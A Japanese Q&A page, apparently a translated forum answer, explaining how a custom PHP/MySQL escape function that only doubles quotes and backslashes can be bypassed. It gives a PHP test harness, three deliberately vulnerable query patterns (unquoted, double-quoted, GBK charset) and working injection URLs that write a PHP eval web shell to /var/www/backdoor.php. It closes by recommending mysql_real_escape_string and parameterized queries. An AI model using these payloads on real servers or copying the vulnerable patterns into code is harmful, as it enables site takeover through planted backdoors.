sql >> データベース >  >> RDS >> Mysql

MySqlの弱いエスケープ関数を見つけました。どのように悪用しますか?

    あなたがただなら 'を置き換える ''を使用 次に、\'を挿入することでこれを悪用できます これは\''に変わります これにより、「文字リテラル」の単一引用符と実際の単一引用符が得られるため、ブレークアウトが可能になります。ただし、 "\\"の置き換え "\\\\"を使用 この攻撃を無効にします。ダブルシングルクォートは、MS-SQLのシングルクォートを「エスケープ」するために使用されますが、これはMySQLには適切ではありませんが、機能します。

    次のコードは証明 このエスケープ機能は、3つの条件を除くすべての条件で安全であること 。このコードは、制御チャーターのすべての可能なバリエーションを並べ替え、それぞれをテストして、一重引用符で囲まれたselectステートメントでエラーが発生しないことを確認します。このコードはMySQL5.1.41でテストされました。

    <?php
    mysql_connect("localhost",'root','');
    function escape($value) {
    
      $value = str_replace("'","''",$value);
      $value = str_replace("\\","\\\\",$value);
      return $value;
    
    }
    
    $chars=array("'","\\","\0","a");
    
    for($w=0;$w<4;$w++){
        for($x=0;$x<4;$x++){
            for($y=0;$y<4;$y++){
                for($z=0;$z<4;$z++){
                    mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
                }       
            }
        }
    }
    print "Escape function is safe :(";
    ?>
    

    脆弱な状態1:引用符は使用されていません。

    mysql_query("select username from users where id=".escape($_GET['id']));
    

    エクスプロイト:

    http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
    

    脆弱な状態2:二重引用符が使用されています

    mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
    

    エクスプロイト:

    http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
    

    脆弱な状態2:一重引用符が使用されていますが、代替文字セットが使用されます。

    mysql_set_charset("GBK")
    mysql_query("select username from users where id='".escape($_GET['id'])."'");
    

    エクスプロイト:

    http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
    

    結論は、常に mysql_real_escape_string()を使用することです。 MySQLのエスケープルーチンとして。 pdoやadodbなどのパラメーター化されたクエリライブラリは、常に mysql_real_escape_string()を使用します mysqlデータベースに接続したとき。 addslashes() FAR BETTER 脆弱な状態2を処理するため、エスケープルーチンの 条件1を停止しますが、パラメーター化されたクエリライブラリは停止します。



    1. PHPフォームがmySQLデータベースに挿入されない

    2. リンクサーバーを単一のローカルログインに制限する(T-SQLの例)

    3. utf8_general_ciとutf8_unicode_ciの違いは何ですか?

    4. 生年月日に基づいて年齢を計算します